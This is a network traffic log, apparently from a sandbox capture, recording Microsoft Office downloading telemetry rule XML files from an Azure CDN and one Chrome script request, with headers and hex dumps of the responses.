2024-11-20 16:42:08 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:08 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:08 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164208Z-1777c6cb754xrr98hC1TEB3kag00000009rg00000000980a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:08 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:08 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:08 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164208Z-185f5d8b95crwqd8hC1NYCps680000000aeg00000000q4rs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:09 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:08 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:09 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 2767d90f-601e-005c-618c-3af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164209Z-185f5d8b95c4hl5whC1NYCeex00000000agg0000000006au x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:09 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:09 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:09 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:09 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164209Z-185f5d8b95c5lcmhhC1NYCsnsw0000000adg000000016hym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:09 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:09 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:10 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164210Z-1777c6cb7544nvmshC1TEBf7qc00000009p000000000f3af x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:10 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	49848	13.107.246.63	443	6380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:09 UTC	454	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: 0x8DCEC757C1AD1D1 If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
2024-11-20 16:42:10 UTC	786	IN	HTTP/1.1 304 Not Modified Date: Wed, 20 Nov 2024 16:42:10 GMT Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T164210Z-185f5d8b95c4hl5whC1NYCeex00000000ag0000000002ns9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:10 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:11 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164211Z-185f5d8b95cmd8vfhC1NYC0g4000000006f0000000003uwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:11 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:10 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:11 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164211Z-r1d97b99577n5jhbhC1TEB74vn00000008zg00000000rc92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:11 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:11 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 5a5a1185-c01e-0079-408c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164211Z-185f5d8b95c4bhwphC1NYCs8gw0000000ang00000000fcm9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:11 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164211Z-1777c6cb754g9zd5hC1TEBfvpw00000009xg00000000qsp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:11 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:12 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:12 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164212Z-185f5d8b95c95vpshC1NYC759c0000000ag000000000ekys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:13 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:13 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:13 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164213Z-1777c6cb754mqztshC1TEB4mkc00000009z0000000004wt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:13 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
